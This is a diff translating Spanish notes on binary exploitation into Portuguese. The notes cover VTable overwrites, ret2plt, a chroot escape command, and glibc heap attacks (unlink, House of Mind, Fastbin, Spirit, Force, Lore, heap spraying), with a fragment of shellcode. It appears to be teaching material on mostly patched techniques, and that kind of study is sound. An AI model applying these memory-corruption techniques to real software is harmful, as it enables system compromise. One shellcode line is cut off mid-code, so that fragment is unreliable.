+Eles são úteis para recuperação de erros ou interrupções.\
+No entanto, pelo que li, os outros registradores não estão protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP.
 
-**VTable y VPTR en C++**
+**VTable e VPTR em C++**
 
-Each class has a **Vtable** which is an array of **pointers to methods**.
+Cada classe tem uma **Vtable** que é um array de **ponteiros para métodos**.
 
-Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof its class. The VPtr is part of the header of each object, so if an **overwrite** of the **VPtr** is achieved it could be **modified** to **point** to a dummy method so that executing a function would go to the shellcode.
+Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para o array de sua classe. O VPtr é parte do cabeçalho de cada objeto, então se uma **sobrescrita** do **VPtr** for alcançada, ele poderia ser **modificado** para **apontar** para um método fictício, de modo que a execução de uma função vá para a shellcode.
 
-## **Medidas preventivas y evasiones**
+## **Medidas preventivas e evasões**
 
 ###
 
 **Reemplazo de Libsafe**
 
-Se activa con: LD_PRELOAD=/lib/libsafe.so.2\
-o\
+Se ativa com: LD_PRELOAD=/lib/libsafe.so.2\
+ou\
 “/lib/libsave.so.2” > /etc/ld.so.preload
 
-Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no sirve en binarios con suid).
+Intercepta as chamadas a algumas funções inseguras por outras seguras. Não está padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD_PRELOAD não funciona em binários com suid).
 
 **ASCII Armored Address Space**
 
-Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian.
+Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, e menos em little endian.
 
 **ret2plt**
 
-Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system()
+Consiste em realizar um ROP de forma que se chame a função strcpy@plt (da plt) e se aponte para a entrada da GOT e se copie o primeiro byte da função que se deseja chamar (system()). Em seguida, faz-se o mesmo apontando para GOT+1 e se copia o 2º byte de system()… No final, chama-se o endereço guardado na GOT que será system()
 
-**Jaulas con chroot()**
+**Jaulas com chroot()**
 
-debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico
+debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico sob um subdiretório específico
 
-Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd ..
+Um admin pode sair de uma dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
 
-**Instrumentación de código**
+**Instrumentação de código**
 
-Valgrind —> Busca errores\
+Valgrind —> Busca erros\
 Memcheck\
 RAD (Return Address Defender)\
 Insure++
@@ -209,49 +199,49 @@ Insure++
 **Trozo asignado**
 
 prev_size |\
-size | —Cabecera\
-\*mem | Datos
+size | —Cabeçalho\
+\*mem | Dados
 
-**Trozo libre**
+**Trozo livre**
 
 prev_size |\
 size |\
 \*fd | Ptr forward chunk\
-\*bk | Ptr back chunk —Cabecera\
-\*mem | Datos
+\*bk | Ptr back chunk —Cabeçalho\
+\*mem | Dados
 
-Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan)
+Os trozos livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois trozos livres juntos (eles se juntam)
 
-En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario.
+Em “size” há bits para indicar: Se o trozo anterior está em uso, se o trozo foi alocado através de mmap() e se o trozo pertence à arena primária.
 
-Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado.
+Se ao liberar um trozo algum dos contíguos estiver livre, estes se fundem através da macro unlink() e o novo trozo maior é passado para frontlink() para que insira o bin adequado.
 
 unlink(){\
-BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\
-FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\
-FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\
-BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\
+BK = P->bk; —> O BK do novo chunk é o que tinha o que já estava livre antes\
+FD = P->fd; —> O FD do novo chunk é o que tinha o que já estava livre antes\
+FD->bk = BK; —> O BK do próximo chunk aponta para o novo chunk\
+BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk\
 }
 
-Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra:
+Portanto, se conseguirmos modificar o P->bk com o endereço de uma shellcode e o P->fd com o endereço a uma entrada na GOT ou DTORS menos 12, consegue-se:
 
 BK = P->bk = \&shellcode\
 FD = P->fd = &\_\_dtor_end\_\_ - 12\
 FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode
 
-Y así se se ejecuta al salir del programa la shellcode.
+E assim se executa ao sair do programa a shellcode.
 
-Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto:
+Além disso, a 4ª sentença de unlink() escreve algo e a shellcode tem que estar reparada para isso:
 
-BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode.
+BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Isso provoca a escrita de 4 bytes a partir do 8º byte da shellcode, por isso a primeira instrução da shellcode deve ser um jmp para pular isso e cair em uns nops que levem ao resto da shellcode.
 
-Por lo tanto el exploit se crea:
+Portanto, o exploit é criado:
 
-En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode.
+No buffer1 colocamos a shellcode começando por um jmp para que caia nos nops ou no resto da shellcode.
 
-Después de la shell code metemos relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**.
+Depois da shell code colocamos preenchimento até chegar ao campo prev_size e size do próximo trozo. Nesses locais colocamos 0xfffffff0 (de forma que sobrescreva o prev_size para que tenha o bit que diz que está livre) e “-4“(0xfffffffc) no size (para que quando verificar no 3º trozo se o 2º estava livre, na verdade vá ao prev_size modificado que lhe dirá que está livre) -> Assim, quando free() investigar, irá ao size do 3º, mas na verdade irá ao 2º - 4 e pensará que o 2º trozo está livre. E então chamará **unlink()**.
 
-Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso).
+Ao chamar unlink() usará como P->fd os primeiros dados do 2º trozo, portanto ali se meterá o endereço que se quer sobrescrever - 12 (pois em FD->bk ele somará 12 ao endereço guardado em FD). E nesse endereço introduzirá o segundo endereço que encontrar no 2º trozo, que nos interessará que seja o endereço da shellcode (P->bk falso).
 
 **from struct import \***
 
@@ -265,73 +255,73 @@ Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo q
 
 **"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
 
-**prev_size = pack("\ Devuelve un puntero a la dirección donde comienza el trozo (mem-8)
+p = mem2chunk(mem); —> Retorna um ponteiro para a endereço onde começa o trozo (mem-8)
 
 …
 
@@ -351,11 +341,11 @@ ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->a
 
 }
 
-En \[1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info)
+Em \[1] verifica o campo size o bit NON_MAIN_ARENA, o qual pode ser alterado para que a verificação retorne true e execute heap_for_ptr() que faz um and a “mem” deixando a 0 os 2.5 bytes menos importantes (no nosso caso de 0x0804a000 deixa 0x08000000) e acessa a 0x08000000->ar_ptr (como se fosse um struct heap_info)
 
-De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr)
+Dessa forma, se podemos controlar um trozo, por exemplo em 0x0804a000 e se vai liberar um trozo em **0x081002a0**, podemos chegar à endereço 0x08100000 e escrever o que quisermos, por exemplo **0x0804a000**. Quando esse segundo trozo se liberar, encontrará que heap_for_ptr(ptr)->ar_ptr retorna o que escrevemos em 0x08100000 (pois se aplica a 0x081002a0 o and que vimos antes e daí se saca o valor dos 4 primeiros bytes, o ar_ptr)
 
-De esta forma se llama a \_int_free(ar_ptr, mem), es decir, **\_int_free(0x0804a000, 0x081002a0)**\
+Dessa forma se chama a \_int_free(ar_ptr, mem), ou seja, **\_int_free(0x0804a000, 0x081002a0)**\
 **\_int_free(mstate av, Void_t\* mem){**\
 …\
 bck = unsorted_chunks(av);\
@@ -367,36 +357,36 @@ fwd->bk = p;
 
 ..}
 
-Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.
+Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no trozo que se vai liberar.
 
-Tal y como se define unsorted_chunks, sabemos que:\
+Tal como se define unsorted_chunks, sabemos que:\
 bck = \&av->bins\[2]-8;\
 fwd = bck->fd = \*(av->bins\[2]);\
 fwd->bk = \*(av->bins\[2] + 12) = p;
 
-Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR_END\_\_ la dirección del segundo trozo.
+Portanto, se em av->bins\[2] escrevemos o valor de \_\_DTOR_END\_\_-12 na última instrução, se escreverá em \_\_DTOR_END\_\_ a endereço do segundo trozo.
 
-Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR_END\_\_-12 porque de ahí la sacará av->bins\[2]
+Ou seja, no primeiro trozo temos que colocar no início muitas vezes a endereço de \_\_DTOR_END\_\_-12 porque de lá a av->bins\[2] irá tirar.
 
-En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2]
+Na endereço que cair a endereço do segundo trozo com os últimos 5 zeros, temos que escrever a endereço a este primeiro trozo para que heap_for_ptr() pense que o ar_ptr está ao início do primeiro trozo e tire de lá o av->bins\[2].
 
-En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA
+No segundo trozo e graças ao primeiro, sobrescrevemos o prev_size com um jump 0x0c e o size com algo para ativar -> NON_MAIN_ARENA
 
-A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode
+A seguir, no trozo 2 colocamos um monte de nops e finalmente a shellcode
 
-De esta forma se llamará a \_int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR_END\_\_ la dirección del prev_size del TROZO2 el cual saltará a la shellcode.
+Dessa forma se chamará a \_int_free(TROZO1, TROZO2) e seguirá as instruções para escrever em \_\_DTOR_END\_\_ a endereço do prev_size do TROZO2, o qual saltará para a shellcode.
 
-Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload.
+Para aplicar essa técnica, é necessário que se cumpram alguns requisitos mais que complicam um pouco mais o payload.
 
-Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él.
+Essa técnica já não é aplicável, pois se aplicou quase o mesmo patch que para unlink. Compara-se se o novo local para o qual se aponta também está apontando para ele.
 
 **Fastbin**
 
-Es una variante de The house of mind
+É uma variante de The house of mind
 
-nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int_free()
+nos interessa chegar a executar o seguinte código ao qual se chega passada a primeira verificação da função \_int_free()
 
-fb = &(av->fastbins\[fastbin_index(size)] —> Siendo fastbin_index(sz) —> (sz >> 3) - 2
+fb = &(av->fastbins\[fastbin_index(size)] —> Sendo fastbin_index(sz) —> (sz >> 3) - 2
 
 …
 
@@ -404,61 +394,61 @@ p->fd = \*fb
 
 \*fb = p
 
-De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max_fast esté en la dirección que vamos a sobreescribir.
+Dessa forma, se se coloca em “fb” dá endereço de uma função na GOT, nessa endereço se colocará a endereço ao trozo sobrescrito. Para isso será necessário que a arena esteja perto das endereços de dtors. Mais exatamente que av->max_fast esteja na endereço que vamos sobrescrever.
 
-Dado que con The House of Mind se vio que nosotros controlábamos la posición del av.
+Dado que com The House of Mind se viu que nós controlávamos a posição do av.
 
-Entones si en el campo size ponemos un tamaño de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos devolverá fastbins\[-1], que apuntará a av->max_fast
+Então, se no campo size colocamos um tamanho de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos retornará fastbins\[-1], que apontará para av->max_fast
 
-En este caso av->max_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita).
+Nesse caso av->max_fast será a endereço que se sobrescreverá (não a que aponte, mas essa posição será a que se sobrescreverá).
 
-Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops).
+Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 8, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops).
 
-Además, ese mismo trozo falso debe ser menor que av->system_mem. av->system_mem se encuentra 1848 bytes más allá.
+Além disso, esse mesmo trozo falso deve ser menor que av->system_mem. av->system_mem se encontra 1848 bytes mais além.
 
-Por culpa de los nulos de \_DTOR_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila.
+Por culpa dos nulos de \_DTOR_END\_ e das poucas endereços na GOT, nenhuma endereço dessas se serve para ser sobrescrita, assim que vejamos como aplicar fastbin para atacar a pilha.
 
-Otra forma de ataque es redirigir el **av** hacia la pila.
+Outra forma de ataque é redirecionar o **av** para a pilha.
 
-Si modificamos el size para que de 16 en vez de 8 entonces: fastbin_index() nos devolverá fastbins\[0] y podemos hacer uso de esto para sobreescribir la pila.
+Se modificamos o size para que dê 16 em vez de 8, então: fastbin_index() nos retornará fastbins\[0] e podemos fazer uso disso para sobrescrever a pilha.
 
-Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET
+Para isso não deve haver nenhum canary nem valores estranhos na pilha, de fato temos que nos encontrar nesta: 4bytes nulos + EBP + RET
 
-Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0.
+Os 4 bytes nulos são necessários para que o **av** esteja a esta endereço e o primeiro elemento de um **av** é o mutex que deve valer 0.
 
-El **av->max_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones.
+O **av->max_fast** será o EBP e será um valor que nos servirá para saltar as restrições.
 
-En el **av->fastbins\[0]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode.
+No **av->fastbins\[0]** se sobrescreverá com a endereço de **p** e será o RET, assim se saltará para a shellcode.
 
-Además, en **av->system_mem** (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza.
+Além disso, no **av->system_mem** (1484bytes acima da posição na pilha) haverá bastante lixo que nos permitirá saltar a verificação que se realiza.
 
-Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso).
+Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 16, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops que vão depois do campo size do novo trozo falso).
 
 **The House of Spirit**
 
-En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable).
+Nesse caso buscamos ter um ponteiro a um malloc que possa ser alterável pelo atacante (por exemplo, que o ponteiro esteja na pilha abaixo de um possível overflow a uma variável).
 
-Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48.
+Assim, poderíamos fazer com que esse ponteiro apontasse para onde fosse. No entanto, não qualquer local é válido, o tamanho do trozo falsificado deve ser menor que av->max_fast e mais especificamente igual ao tamanho solicitado em uma futura chamada a malloc()+8. Por isso, se sabemos que depois desse ponteiro vulnerável se chama malloc(40), o tamanho do trozo falso deve ser igual a 48.
 
-Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system_mem.
+Se por exemplo o programa perguntasse ao usuário por um número, poderíamos introduzir 48 e apontar o ponteiro de malloc modificável para os seguintes 4bytes (que poderiam pertencer ao EBP com sorte, assim o 48 fica por trás, como se fosse o cabeçalho size). Além disso, a endereço ptr-4+48 deve cumprir várias condições (sendo nesse caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system_mem.
 
-En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera.
+Caso isso se cumpra, quando se chamar o próximo malloc que dissemos que era malloc(40), será atribuído como endereço a endereço do EBP. Caso o atacante também possa controlar o que se escreve nesse malloc, pode sobrescrever tanto o EBP quanto o EIP com a endereço que quiser.
 
-Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección.
+Isso creio que é porque assim quando o liberar free() guardará que na endereço que aponta ao EBP da pilha há um trozo de tamanho perfeito para o novo malloc() que se quer reservar, assim que lhe atribui essa endereço.
 
 **The House of Force**
 
-Es necesario:
+É necessário:
 
-- Un overflow a un trozo que permita sobreescribir el wilderness
-- Una llamada a malloc() con el tamaño definido por el usuario
-- Una llamada a malloc() cuyos datos puedan ser definidos por el usuario
+- Um overflow a um trozo que permita sobrescrever o wilderness
+- Uma chamada a malloc() com o tamanho definido pelo usuário
+- Uma chamada a malloc() cujos dados possam ser definidos pelo usuário
 
-Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int_malloc() sin necesidad de expandir el heap
+O primeiro que se faz é sobrescrever o size do trozo wilderness com um valor muito grande (0xffffffff), assim qualquer solicitação de memória suficientemente grande será tratada em \_int_malloc() sem necessidade de expandir o heap
 
-Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8.
+O segundo é alterar o av->top para que aponte a uma zona de memória sob o controle do atacante, como a pilha. No av->top se colocará \&EIP - 8.
 
-Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante:
+Temos que sobrescrever av->top para que aponte à zona de memória sob o controle do atacante:
 
 victim = av->top;
 
@@ -466,86 +456,86 @@ remainder = chunck_at_offset(victim, nb);
 
 av->top = remainder;
 
-Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si \&EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será:
+Victim coleta o valor da endereço do trozo wilderness atual (o atual av->top) e remainder é exatamente a soma dessa endereço mais a quantidade de bytes solicitados por malloc(). Portanto, se \&EIP-8 está em 0xbffff224 e av->top contém 0x080c2788, então a quantidade que temos que reservar no malloc controlado para que av->top fique apontando para $EIP-8 para o próximo malloc() será:
 
 0xbffff224 - 0x080c2788 = 3086207644.
 
-Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir.
+Assim se guardará em av->top o valor alterado e o próximo malloc apontará ao EIP e poderá sobrescrever.
 
-Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a \&EIP-8, el size quedará justo en el campo EBP del stack.
+É importante saber que o size do novo trozo wilderness seja maior que a solicitação realizada pelo último malloc(). Ou seja, se o wilderness está apontando para \&EIP-8, o size ficará justo no campo EBP da pilha.
 
 **The House of Lore**
 
-**Corrupción SmallBin**
+**Corrupção SmallBin**
 
-Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado.
+Os trozos liberados são introduzidos no bin em função de seu tamanho. Mas antes de serem introduzidos, são guardados em unsorted bins. Um trozo é liberado, não se coloca imediatamente em seu bin, mas fica em unsorted bins. A seguir, se se reserva um novo trozo e o anterior liberado pode servir, se o devolve, mas se se reserva maior, o trozo liberado em unsorted bins se coloca em seu bin adequado.
 
-Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max_fast (72normalmente) y menos a MIN_LARGE_SIZE (512).
+Para alcançar o código vulnerável, a solicitação de memória deverá ser maior que av->max_fast (72 normalmente) e menor que MIN_LARGE_SIZE (512).
 
-Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo:
+Se no bin há um trozo do tamanho adequado ao que se pede, se devolve esse depois de desenlaçá-lo:
 
-bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar.
+bck = victim->bk; Aponta ao trozo anterior, é a única info que podemos alterar.
 
-bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección
+bin->bk = bck; O penúltimo trozo passa a ser o último, caso bck aponte para a pilha, ao próximo trozo reservado se lhe dará essa endereço
 
-bck->fd = bin; Se cierra la lista haciendo que este apunte a bin
+bck->fd = bin; Se fecha a lista fazendo com que este aponte para bin
 
-Se necesita:
+Necessita-se:
 
-Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow)
+Que se reservem dois malloc, de forma que ao primeiro se lhe possa fazer overflow depois que o segundo tenha sido liberado e introduzido em seu bin (ou seja, se tenha reservado um malloc superior ao segundo trozo antes de fazer o overflow)
 
-Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante.
+Que o malloc reservado ao qual se dá a endereço escolhida pelo atacante seja controlada pelo atacante.
 
-El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella.
+O objetivo é o seguinte, se podemos fazer um overflow a um heap que tem por baixo um trozo já liberado e em seu bin, podemos alterar seu ponteiro bk. Se alteramos seu ponteiro bk e esse trozo chega a ser o primeiro da lista de bin e se reserva, a bin se enganará e se dirá que o último trozo da lista (o próximo a oferecer) está na endereço falsa que colocamos (na pilha ou GOT, por exemplo). Portanto, se se voltar a reservar outro trozo e o atacante tem permissões nele, se lhe dará um trozo na posição desejada e poderá escrever nele.
 
-Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin.
+Após liberar o trozo modificado, é necessário que se reserve um trozo maior que o liberado, assim o trozo modificado sairá de unsorted bins e se introduzirá em seu bin.
 
-Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir.
+Uma vez em seu bin, é o momento de modificar seu ponteiro bk através do overflow para que aponte à endereço que queremos sobrescrever.
 
-Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa.
+Assim, o bin deverá esperar turno até que se chame a malloc() suficientes vezes para que se volte a utilizar o bin modificado e enganar a bin fazendo-a acreditar que o próximo trozo está na endereço falsa. E a seguir se dará o trozo que nos interessa.
 
-Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida.
+Para que se execute a vulnerabilidade o mais rápido possível, o ideal seria: Reserva do trozo vulnerável, reserva do trozo que se modificará, se libera esse trozo, se reserva um trozo maior ao que se modificará, se modifica o trozo (vulnerabilidade), se reserva um trozo de igual tamanho ao vulnerado e se reserva um segundo trozo de igual tamanho e este será o que aponte à endereço escolhida.
 
-Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero.
+Para proteger esse ataque, usou-se a típica verificação de que o trozo “não” é falso: se verifica se bck->fd está apontando para victim. Ou seja, no nosso caso, se o ponteiro fd\* do trozo falso apontado na pilha está apontando para victim. Para ultrapassar essa proteção, o atacante deveria ser capaz de escrever de alguma forma (provavelmente pela pilha) na endereço adequada a endereço de victim. Para que assim pareça um trozo verdadeiro.
 
-**Corrupción LargeBin**
+**Corrupção LargeBin**
 
-Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512.
+Necessita-se dos mesmos requisitos que antes e alguns mais, além disso, os trozos reservados devem ser maiores que 512.
 
-El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE.
+O ataque é como o anterior, ou seja, tem que modificar o ponteiro bk e se precisam de todas essas chamadas a malloc(), mas além disso, tem que modificar o size do trozo modificado de forma que esse size - nb seja < MINSIZE.
 
-Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned)
+Por exemplo, fará que colocar em size 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ficar negativa porque se compara um unsigned)
 
-Además se ha introducido un parche para hacerlo aún más complicado.
+Além disso, foi introduzido um patch para torná-lo ainda mais complicado.
 
 **Heap Spraying**
 
-Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops.
